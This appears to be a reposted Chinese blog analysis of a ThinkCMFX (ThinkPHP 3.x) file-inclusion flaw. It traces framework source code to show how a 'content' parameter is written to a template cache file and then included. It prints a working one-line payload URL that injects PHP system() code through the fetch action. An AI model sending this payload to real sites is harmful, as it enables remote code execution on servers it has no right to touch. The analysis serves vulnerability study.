ThinkCMFX任意文件包含漏洞(學習)


前言:最近爆出來的漏洞,ThinkCmfX版本應該是通殺的,基於3.X Thinkphp開發的

代碼下載地址:https://gitee.com/thinkcmf/ThinkCMFX/releases

我們就拿這個payload來進行分析

http://127.0.0.1/index.php?a=fetch&content=<?php system(‘ping xxxxxx’);?>

我們要知道tp框架的特性,可以通過這種形式的路由方式進行訪問相應的功能點,例如通過g\m\a參數指定分組\控制器\方法

我們可以跟進父類的fetch的方法中查看

發現還調用了父類的fetch方法return parent::fetch($templateFile,$content,$prefix);,那我們可以繼續來到AppframeController,但是發現里面沒有fetch那么就肯定是繼承來自Controller的控制器了,繼續跟進

發現調用了view類的fetch方法繼續更,這里的view類是Controller構造函數中$this->view = Think::instance('Think\View');

view類中的fetch方法如下:

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {  //首先判斷content有無內容
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 頁面緩存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板陣列變量分解成為獨立變量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接載入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 視圖解析標簽
            // 走的是這里
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); // 生成一個數組賦值給$params
            Hook::listen('view_parse',$params); //這個是關鍵
        }
        // 獲取並清空緩存
        $content = ob_get_clean();
        // 內容過濾標簽
        Hook::listen('view_filter',$content);
        // 輸出模板文件
        return $content;  //這里進行模板文件的輸出
    }

可以看注釋,我們的content肯定是有內容的,那么進行的就是第二個if判斷,經過調式走的是第二個判斷

來到這里Hook::listen('view_parse',$params); //這個是關鍵,第一個參數傳的是view_parse,我們先看下listen這個函數的說明

    /**
     * 監聽標簽的插件
     * @param string $tag 標簽名稱
     * @param mixed $params 傳入參數
     * @return void
     */
    static public function listen($tag, &$params=NULL) { // 此時$tag = view_parse
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) { //循環遍歷
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);  // 這里進行執行
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 則中斷插件執行
                    return ;
                }
            }
            if(APP_DEBUG) { // 記錄行為的執行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }

我們全局搜索,view_parse或者echo $name輸出調試發現調用的類為ParseTemplateBehavior

'view_parse'    =>  array(
            'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、內置模板引擎和第三方模板引擎
        ),

在exe函數中 如果類名存在的話會進行實例化 並且調用run方法

        if('Behavior' == substr($name,-8) ){
            // 行為擴展必須用run入口方法
        	$class = $name;
            $tag    =   'run';  //此時的$tag = run 所以下方調用的是run方法
        }else{
        	$class   =  "plugins\\{$name}\\{$name}Plugin";
        }
        if(class_exists($class)){ //ThinkCMF NOTE 插件或者行為存在時才執行
        	$addon   = new $class();
        	return $addon->$tag($params); //相當於 return $addon->run($params);
        }

我們再看下ParseTemplateBehavior的類中的run方法

    // 行為擴展的執行入口必須是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { // 緩存有效
                //載入模版緩存文件
                Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']); 
                //C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']地址為
                //D:\QMDownload\PHPTutorial\www\thinkcmfx2\data\runtime\Cache\Portal
            }else{
                $tpl = Think::instance('Think\\Template'); //走的是這里
                // 編譯並加載模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 調用第三方模板引擎解析和輸出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 類沒有定義
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

當payload為上面的時候走的是else語句中的,我們可以去看下Think\Template的類

    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar; // tvar = $_data['var']
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        //echo $templateCacheFile;
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }

它的fetch方法如下

    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar; // tvar = $_data['var']
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix); //$templateFile為$_content
        //echo $templateCacheFile;
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }

其中loadTemplate方法如下傳入的參數為$templateFile,其實也就是$_content

    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 讀取模板文件內容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根據模版文件名定位緩存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判斷是否啟用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以單獨定義不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替換布局的主體內容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 檢查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 編譯模板內容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

倒數第二句調用了put方法,Storage::put($tmplCacheFile,trim($tmplContent),'tpl');,其中put和load方法同存的有File.class.php類文件,走到File.class.php類文件

    public function put($filename,$content,$type=''){
        $dir         =  dirname($filename);
        if(!is_dir($dir)){
            mkdir($dir,0777,true);
        }
        if(false === file_put_contents($filename,$content)){ //這里的內容可控
            E(L('_STORAGE_WRITE_ERROR_').':'.$filename);
        }else{
            $this->contents[$filename]=$content;
            return true;
        }
    }

if(false === file_put_contents($filename,$content)) //這里的內容可控,然后寫入緩存文件,最后調用Storage::load加載cache文件包含文件,最終導致代碼執行

    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename; //進行包含文件的操作
    }

轉自freebuf的流程圖如下:

參考文章:https://www.freebuf.com/vuls/218105.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM